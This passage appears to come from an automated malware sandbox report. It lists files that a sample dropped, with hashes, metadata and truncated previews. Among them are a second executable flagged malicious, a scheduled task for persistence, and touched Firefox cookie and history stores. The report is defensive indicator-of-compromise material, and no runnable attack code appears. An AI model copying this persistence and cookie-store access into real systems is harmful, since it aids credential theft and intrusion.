"UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7304_143004570\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7304_143004570\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7304_143004570\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 22:19:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9711401482947783
Encrypted:	false
SSDEEP:	48:8jdrTzbDHaidAKZdA19ehwiZUklqehBy+3:8FrEuy
MD5:	1B972BF0A620240DA8A635E33597A103
SHA1:	95813FDA777885BCD52B48A9AD4AC98BFE86007F
SHA-256:	FED75CAB9EFF4F4180E5398AD694137DFB14E93475A415706B98F81ECAAF7BA4
SHA-512:	886A2DD9BCBF6B43FD0FFEBD5045AEBF0D4FEAAF939851CD378A8A25BD1CA5A01822595BEFAC807C64437E1832AC7A50598D4633FF94650927F36E5CF19FA2CD
Malicious:	false
Preview:	L..................F.@.. ...$+.,....X_.n.:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IsYb.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsYb.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsYb.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsYb............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsYd............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............F......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 22:19:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9870466329241054
Encrypted:	false
SSDEEP:	48:8ndrTzbDHaidAKZdA1weh/iZUkAQkqehey+2:8Zr29QHy
MD5:	930260307BE1A7A4E17679696784AF42
SHA1:	861DFA2241E582B037D8C5A2DFEB27CAF4794122
SHA-256:	7E336E58981E0ACC72C5B2E66145E1CC83DD2C41FB2C052ADF02AA78A2F38E91
SHA-512:	23E8A28641E807AE160577D394DB744E7D391A9C4110BAC48C65D8486C0A24504972409E66ADEE5DEBCEA558102C51623324A0382B06FC51BB5FF3CBCEBFC4B7
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....s.n.:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IsYb.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsYb.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsYb.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsYb............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsYd............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............F......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.002742464302038
Encrypted:	false
SSDEEP:	48:8xcdrTzbsHaidAKZdA14tseh7sFiZUkmgqeh7sEy+BX:8x8rznCy
MD5:	C6954A2A3119A5DC8CFD343586941B6E
SHA1:	25FD9163E63BB039A3C081E38BD65F525A31CEBE
SHA-256:	7147020A37DC401E4E293CD84F39BF1A657B2A3FFA3E81A79644419F191066BF
SHA-512:	98B7603ABE9CB427B262893EEDD08F929496BE759E69BB545D2DB274B5FE81B77BF7130DDB65ED1C7084AD92F0336C28D2E85F71AB0F1C96F5D87599E87BC032
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IsYb.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsYb.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsYb.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsYb............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............F......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 22:19:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.987100587009791
Encrypted:	false
SSDEEP:	48:8qdrTzbDHaidAKZdA1vehDiZUkwqeh6y+R:8urdcy
MD5:	57F3549B6F52C7D2CB29E539275F5A99
SHA1:	38BC3492B53648C40DB4316058317FF4CC6B3226
SHA-256:	545E705CC7573036E6D906EA3C81A77570ABE56386DF15DBB9E82431F65B7E5B
SHA-512:	4638D4EBEE66DFDDC68B101BE58E6DC072D906267A2BFEFDB84BD2B024437DE68C45BA32AC69C428748674FF9ECF246C37055D03EA9AF6EFE1BDCFB71BA3253D
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....L.n.:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IsYb.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsYb.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsYb.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsYb............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsYd............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............F......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 22:19:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9755971634373886
Encrypted:	false
SSDEEP:	48:8UdrTzbDHaidAKZdA1hehBiZUk1W1qehYy+C:8kr994y
MD5:	642922E60B4A31F88C85CB88F4CC3DB2
SHA1:	401532E0B56BE0183B76B45C95263295A20192CE
SHA-256:	13C17A6F79CA14F991C6BBBCE97E6087BCDDB6E1B85CE5F20CBB8E4683F37637
SHA-512:	2C7C8614EAB45A553433E4B52985FF247B45F84B9C41361CD909770263DB1BE556A402F9311B984FFBBC020332980928BD4E6867928299561DB662F81B195911
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......n.:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IsYb.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsYb.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsYb.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsYb............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsYd............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............F......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 22:19:07 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9883687660556686
Encrypted:	false
SSDEEP:	48:8Ui4drTzbDHaidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbCy+yT+:8UlrBT/TbxWOvTbCy7T
MD5:	D53226F3754A73BA46B6D0974F39DF61
SHA1:	3A8CA8E4D9C2AF0E67D1EAB34848F7A42AC5F0D9
SHA-256:	02C4EC3F64944B7A9316B5289B600C889F1EF6D0A019CAEA57E8A78FF8869456
SHA-512:	384ABB3E232F829D788E459CA68F8B09407F5F1BBA3B96A5FFA8B2546358F0C82F04645E692997509F6989E36EA4C604504457DD783097BC7C3FF7984860D6CD
Malicious:	false
Preview:	L..................F.@.. ...$+.,......\|n.:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IsYb.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsYb.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsYb.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsYb............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsYd............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............F......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsDGCFHIDAKE.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1924096
Entropy (8bit):	7.954759462903158
Encrypted:	false
SSDEEP:	49152:Q13I2876p8VkXEx1zWQZlG3HGVfJ9PezRy5o82s+WP:Q13It76p8XzzxZMHs9sfs
MD5:	93A1D20E5DDAE13DB5D503DC52520988
SHA1:	BF50FE949B30FBF0463F129E0C1BE4BB35592050
SHA-256:	F5D0A964B108DDE3E46F77EE7E3F0B071834FDA009959D1559EF96317731F0C8
SHA-512:	3DC12BA4F005127D5DCD9B15D911CEB380500EE2142FBFBEB5B18DB6C27887244EB7067CE41FD91D4CB514EDC3E4CFB0B2A15004A8FD3F0928AFF448200D5D7D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0L...........@..........................`L...........@.................................W...k.......H.....................L.............................`.L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .0+.........................@...ajpijdkd.@....1..@..................@...xqqfwytl..... L......6..............@....taggant.0...0L.."...:..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsDGCFHIDAKE.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.392540132051666
Encrypted:	false
SSDEEP:	6:RRze5r4X55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBiS1ut0:RyuuQ1CGAFifXVBQt0
MD5:	DE776A8D4FBC2B044A3E3805D1813388
SHA1:	2024EAAF23AC3B8CCEB979A07BE7FA5C97333F16
SHA-256:	F8967647E22CAE499B66314E69CD88B2B935DF86CB33B264D97571BCC8A81263
SHA-512:	412E18960206C108888C7DAB35C0E08CC86A6E658AA8E2994BE9113A5DC77F545F87E6DFDBB3C31B3D15348E8B422F306D4B499A88D2B35563A35717F8605701
Malicious:	false
Preview:	......$..{A.-s9.J".F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3349)
Category:	downloaded
Size (bytes):	3354
Entropy (8bit):	5.8435333843214305
Encrypted:	false
SSDEEP:	96:5cAlinkcFd66666dtb0JNXIuxIMYSVjNTZeTmO1fQfffo:5VWkcFd66666oJxIYljdATmc
MD5:	EA8463161D17C47E31282AFC835D0E2E
SHA1:	0769200A8B0EF20784FB46C9316DE6877F1D4703
SHA-256:	89A61DECE4F03F5EE2AAB2BBE86BB6E60270FD1F8BEDCA7DFF3505BAAF8E7209
SHA-512:	D77909C4C6AC777E04EEFFC575ABCF11AEE56BA3542A0D874A81B3B8014DB25BAD9720C7A4CED4B0C9098324A3C875EFDD8962A0CE65406099099116A04744AC
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["dutch bros coffee straw topper","victoria kjaer theilvig miss universe","mlb juan soto","magnetic north pole moving","wordle answer november 19","weather forecast snow storm","sony a1 ii","cobra kai season 6 part 3 release date"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMWY1aHZ0MmpyEidKdWFuIFNvdG8g4oCUIERvbWluaWNhbiBiYXNlYmFsbCBwbGF5ZXIy1w1kYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFjQUFBQkJBTUJBQUFBQUFBQUFBQUFBQUFHQUFFRUJ3SURCUWoveEFBekVBQUNBUU1DQkFNRkNBTUJBQUFBQUFBQkFnTUFCQkVGSVFZU0V6RkJVV0VVSWxLUm9RY1Z

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
